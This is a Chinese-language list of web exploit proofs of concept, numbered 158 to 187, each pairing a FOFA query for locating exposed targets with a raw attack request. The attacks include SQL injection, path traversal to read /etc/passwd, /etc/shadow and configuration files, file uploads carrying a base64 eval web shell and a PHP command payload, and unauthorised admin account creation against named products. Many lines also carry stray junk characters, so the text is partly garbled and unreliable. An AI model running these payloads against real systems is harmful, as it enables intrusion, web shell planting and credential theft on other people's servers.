( f, v( |3 J! o6 o! u& \0 S------WebKitFormBoundary1imovELzPsfzp5dN--


8 r2 K/ x! B0 l! o7 ]6 o9 A& D2 X/ Ghttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
$ D) R% w5 y0 J2 ^$ I% k3 u$ ?
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
$ ]1 C  q) P/ j" ~Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
) o* f5 P- L; \0 K. k' q6 h
object=displayregion&contenthistid=x\'&previewid=1
1 j$ g8 O( u2 P% Q( L
! I) |4 a6 I( L* P& n
+ n! e& F% j: z% c159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
. O2 b2 m1 c3 \1 W  U' l" v/ jPOST /webservices/WebJobUpload.asmx HTTP/1.1
; ?" ]: u, i' ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
& P3 X& z- G! k4 q; q( [& e4 eContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

, E; I2 n. c" I. T' h8 m<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
4 a7 K& h6 u, @0 e<vcode>1</vcode>
- I2 g% q9 o  k) C5 f0 L<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
6 e, A6 y1 i' @: T& D8 \) k<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: D; z4 L5 d; L: W, W8 w</jobUpload>
</soap:Body>
</soap:Envelope>
# |- \* J0 y* C

% c- \6 Y) D' c7 b- ^/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
$ I! t0 X1 g3 {& a1 `' n: L# SConnection: close
0 |$ ?' A4 {# _$ v& A: [Accept: */*
/ H5 {) D  _, D# [/ s- [& j8 @Accept-Language: en
2 k! j3 N/ Q$ d4 k+ {0 y5 hAccept-Encoding: gzip
8 M9 p; D3 _) p: E

1 V' O! \7 |9 Q( y7 d4 q0 E7 E161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
& I: T! q( A9 f: XPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
6 _0 k  w. ]; bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
, `& R2 J& u9 ?9 JConnection: close
+ g: W5 X  I: p, XContent-Length: 445
+ X" t# v& |9 N9 J' m3 m% JContent-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
' K: M6 f* h; x9 }9 {- Xxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; N8 b/ Y) f' _<soap:Body>
/ \0 ?/ ]' m  D2 X9 q<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
3 z* d: j/ r/ ]& p</UploadResume>
9 p6 A' S9 u9 I! o</soap:Body>
, K+ t  q  O+ R, n</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

- G& ^  B3 s2 C$ \0 O162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
8 P" Y: b2 m/ p$ @; r  S- zPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
$ A3 P, B7 @6 V% \/ q% @% k: b# f$ S% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
3 e0 V$ M  V# t0 RConnection: close
Content-Length: 583
1 F1 j/ {9 W* l. J+ E7 L& A2 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
6 K* ]& ^, h# F4 {Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
$ {2 D# V2 ]) F' B
. l. ~8 Z8 E2 S* a$ b  A<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
: X: j, M$ x' J$ R3 o4 rContent-Disposition: form-data; name="action"
) s" c9 f1 P9 ?0 y2 l2 G2 T+ W
upload
2 O0 p  |( `+ M9 K  [7 i& I------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
. g! Q! P$ a  N' G  k( u
1 E% ^; H' P. w" ~1 V6 U4 S) JResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
# ^4 Z" D0 i3 p3 k6 fContent-Disposition: form-data; name="remotePath"

0 y, U- S' m9 U6 \/opt/resources
2 H3 z- b" ]$ a! i------WebKitFormBoundaryeegvclmyurlotuey--
& \( w1 L4 r$ c1 T% Q* J

# g' f  I8 E9 V2 Chttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
* }' s: E7 m8 S
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
0 l+ A1 m9 V3 M1 e/ p# uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! f- u! u; y2 D; D+ H, z. A0 \( b/ WConnection: close
1 D1 R; D: O" [& a% tContent-Length: 293
, x& O/ g" y4 K% A6 x. R! h2 EAccept: */*
! F/ C) U+ r7 P- y7 }- ^Accept-Encoding: gzip, deflate
9 O* s' z: C" RAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

8 Y$ t1 K# a4 F5 T------iiqvnofupvhdyrcoqyuujyetjvqgocod
+ C" H$ O! H* z  DContent-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
. F: e. w1 M2 c. m! p8 XContent-Type: image/jpeg
# C1 _+ M# f/ ~+ D- O/ r8 u& u& ~
' ^" O. F% W* i0 C/ Y9 wrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
) I: ~& A3 D6 N

. g5 w( ]+ c$ p* F# G" p164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
+ x1 z3 t: W$ bHost: x.x.x.x
/ v' O) r7 `0 `+ P  v* V( q% R! }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
/ S( f+ L' \- c3 c0 ^7 k$ f  iContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
6 P* b, O, H: `# vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
( L' K* C% ~, v4 W6 k' b0 L  ~Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
4 a' T) c+ g  _
9 O4 d, p2 n5 d. j; u------dqdaieopnozbkapjacdbdthlvtlyl
! N7 A4 k, |0 RContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


3 M2 U* L  Z# K2 vhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
( A6 z8 O5 l/ q. n$ S6 kCVE-2024-36428
- V+ ~: Z& [; ^( W9 N; n  X$ ^! kFOFA: app="OrangeHRM-产品"
) G$ ]9 W) z" V& g& j- h' e3 S' \URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
2 k5 q) v/ S/ e8 u* _
1 t  \, x: j5 R0 r
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
! G9 t7 g6 s  OPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
. Y2 s  `; W0 w& `5 H9 b6 @$ QHost:
- T$ j# k+ k  ]Pragma: no-cache
8 J9 O; Y8 F2 X+ CCache-Control: no-cache
4 M7 w  Z. v$ j. ^4 T# s5 ZUpgrade-Insecure-Requests: 1
$ u) t1 S' N% c# t: o( D. \3 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 |0 ^+ Q9 {3 Y5 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

+ O; s2 f# I1 a* s8 ^" NMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
$ t6 \9 I- p2 K0 T4 Q
# h  J! k) N0 a- n0 {8 v
$ M, l& Z& W1 o3 b, W) h4 w8 p167. 精益价值管理系统 DownLoad.aspx任意文件读取
8 k: X% F3 e# @! q& F0 X/ rFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
6 N. J$ L& ?% J+ qConnection: keep-alive
$ P+ E, P# g9 M- n2 G1 e( s
+ K- B% A$ q) R: r# U9 i
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
3 L( s2 K- E  `3 u9 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
( R) I0 @1 {: g0 C- F
  I3 @) Y& u, k' S1 _

- F. x3 I- b: y3 i" Y' q; R" y! y169. 宏景EHR downlawbase SQL注入
4 h2 c# @: [# g) X6 t9 `FOFA：app="HJSOFT-HCM"
' c. f$ c0 `' c8 ?  m0 ?& IGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
6 b* Z) G& K% y& T' hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
& J8 s9 I( E% Q. J; HAccept-Encoding: gzip, deflate
+ b- S1 ]& Q  M, r( R* JConnection: close


) @- u/ N5 B  j! Y, I, P
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
4 L0 j8 A2 x3 y. N6 xHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


3 b4 @4 e3 E5 U) J171. 通天星CMSV6车载定位监控平台 SQL注入
# p5 J. C9 X; ?FOFA：body="/808gps/"
& K+ _8 \% s' v! fGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
" I- {6 U% I% c$ a" Y+ z8 xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
+ S" }1 J( V. C/ A
3 `; Z3 x; i+ g
1 S# A: `4 J6 L# z2 p
$ o0 Q7 M* j& w, ~172. DT-高清车牌识别摄像机任意文件读取
: H6 [4 ^2 ~/ e5 U: M0 NFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
4 t. A  j1 F& Q- v3 m: a) HHost: your-ip
$ J; i; e# O8 r. W' k: cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, u& q% q2 ^& E! }/ CAccept-Encoding: gzip, deflate
Accept: */*
4 ]$ s3 h+ }. ^( @. N% V0 w% {Connection: keep-alive



173. Check Point 安全网关任意文件读取
+ {) |1 E3 o( c5 D& W) qCVE-2024-24919
9 z8 t1 V. a7 |) i7 tFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
/ p+ {4 U8 N( K9 B; L7 P+ g$ QHost: your-ip
  L- q/ O1 J: }/ FContent-Type: application/x-www-form-urlencoded

' K6 O5 O0 a( Y: H% |aCSHELL/../../../../../../../etc/shadow
; i% s  |4 ?0 a5 |  L4 @0 y
- R) _" \7 m6 V0 q4 w

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 m  g8 @8 h/ D. nFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
+ {; s/ q) |. g6 e5 @5 R" D/ T( {Host: your-ip
$ O" _% z6 [$ C! c+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
% Q% U9 [  w4 l& z- y. XAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 F( h. Z- K. n& Q$ f! T% `3 k

$ n( `4 s+ G8 C8 n+ r+ c
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 B# ~' I4 i. P5 w2 U8 j6 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 a$ Z* E" d7 y$ [( i4 t0 M4 PAccept-Encoding: gzip, deflate
( v% M  C# U" eConnection: close
/ c1 T9 _; `; @# v1 F% w# [* V7 ~Upgrade-Insecure-Requests: 1


/ m0 G! m$ E+ u176. 电信网关配置管理系统 rewrite.php 文件上传
$ B, G3 l  [9 M4 O9 [FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
( A7 I# N1 W& f2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
: J+ K" K/ }8 }5 p1 RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
+ b- K8 k: V$ ~' ~5 ^Content-Disposition: form-data; name="tmp_name"; filename="test.php"
* L9 @5 M4 x  z* J& QContent-Type: image/png

- ^7 D9 a( M' q! `; r/ J<?php system("cat /etc/passwd");unlink(__FILE__);?>
2 g( A; s8 u3 Y' L------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
, ]$ {! l  t' `$ P! W3 W
( v) C# k/ [/ }9 `
------WebKitFormBoundaryOKldnDPT--

( T4 }  F9 q, E
% L" \# N* {) d. s$ d
177. H3C路由器敏感信息泄露
; X8 M+ e; d' O7 d7 }/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
# G- ~: ]1 n6 u; G/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/ y8 U! M, [' F% L" C8 |+ z/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
( r& c9 v6 h) Z  S& M2 l  I/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
: g( s7 l! |4 F+ r5 Q. V/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
7 c( S  w0 \. d) c) N+ N7 v/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
, f& z: N8 V# k% x" M/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
. {* q( [. P4 r) o/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
2 h9 D9 b9 _- ~/ \/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
+ a6 e2 r( E- V: R! ^/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
- a: e9 O+ U1 r3 w% R
5 o' O8 A& M0 k. n
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
  h. \8 R3 G( q3 a' V0 s2 [; [) WFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
4 N) }/ N7 Y  _Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
/ o* G0 R+ @2 A: U) m/ d* B-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
  e6 N. X! b' s$ NContent-Type: application/octet-stream
Content-Length: 255
) P/ \4 A  p: a% t% O2 }) Z3 K
, R& Y% s# R) U7 g12234
) R+ R4 b' M; J7 J6 U-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt

8 V" @' R( U4 k0 h
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
% L" m2 o$ s* Y; c9 WHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

7 q* c( L9 x4 D" w' c5 C! V
180. 帮管客 CRM jiliyu SQL注入
! B4 u/ E2 O5 e& E2 mFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 |9 s$ W2 l% B% q# L0 [9 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# L, e: C6 w, Y& sConnection: close

  S/ L1 T8 P) P' O) ^! q" v3 R
+ D  z! Q& @/ g! K' K! f181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
4 T3 B* O4 X# L4 T0 f2 ZPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
. @4 t$ j7 y7 R. R/ q" a, M" UHost: your-ip
& |* B: z8 q) ^( p1 J) j# _3 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 A0 c7 l9 ^6 S  S; e. eAccept-Encoding: gzip, deflate, br
8 E8 M, a0 [+ S5 P) x1 V6 v3 A. ]Accept-Language: zh-CN,zh;q=0.9
0 X) z& o$ ~7 O* ]' x4 g" T2 DConnection: close
Content-Type: application/x-www-form-urlencoded
, o4 v8 ^8 x# v% N% _* J* l( ?& n' }! t

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 f  u' w* k2 j. P& B5 MFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
& B6 c9 G" I2 r: v2 j% u/ G6 I. i  SHost: your-ip
2 s: L* M* K( ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 v8 H6 P0 j( _' rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 d7 ~$ `0 Z# }Accept-Language: zh-CN,zh;q=0.9
) l' N" C0 i1 Z4 UConnection: close
Content-Type: application/x-www-form-urlencoded
! V1 Y) i8 U, y5 ^5 @3 i

username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
0 [6 P' E; r% d/ }* ?/ I( BFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
( M2 f) \  a9 z1 y5 LHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 f2 K3 v! G' d) [# B6 oAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

* ?+ ^( D: x& p; n8 j
$ b6 f/ L! z  {5 p184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! {7 c4 }- U$ P( ?* ^  w* n: AFOFA：server="SunFull-Webs"
& I. Q1 `* ?, f2 X- [& G: qPOST /soap/AddUser HTTP/1.1
; l2 _9 Q# Q& I9 v$ a: P! HHost: your-ip
' v: Y+ G3 z/ [' [Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
$ t0 D, V! ~4 t& E$ `8 BAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
; e* D- e: G+ D- \0 q/ WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  a& [4 M1 R' p5 {& s6 b+ FX-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


. |* Z; n. E" G185. 瑞友天翼应用虚拟化系统SQL注入
4 O4 u# C4 r( {9 J3 V; Hversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
  V" d! w( Y$ U; kGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
% E3 o8 m0 v+ T- c# |0 x/ {/ g
! v" Z  X5 Z0 S8 {$ y
: e  Y. X0 v- v- z186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
% a. i( q& W+ l! hFOFA：title=="DataCube3"
$ v) u' h+ _, n. |: d( Q. wPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
9 t) V. e; c' F% hHost: your-ip
9 j) X( f% W! ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
) ?7 ~$ p* y: y5 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
6 h( a2 h5 t/ P; `6 c9 HContent-Type: application/x-www-form-urlencoded
. h: ]: h$ W7 M3 C1 X* d" u
' D0 Z" x2 Y' T6 j: p3 Q3 N; Sreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


- j! h; L! U/ @) \- t* V5 b& i187. Mura CMS processAsyncObject SQL注入
, A' y; c% g- t) D+ RCVE-2024-32640
+ M1 x8 Y, o' |/ YFOFA："Mura CMS"
$ Z7 Y& ]( m% L' O7 n; |+ ZPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' `+ R, @& S6 U1 ~9 P% D, r6 RHost: your-ip
0 Z# s' @9 h" c/ @Content-Type: application/x-www-form-urlencoded
5 |6 Q9 H) H$ t, @

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
6 ]5 n" T3 M+ O) U: ?

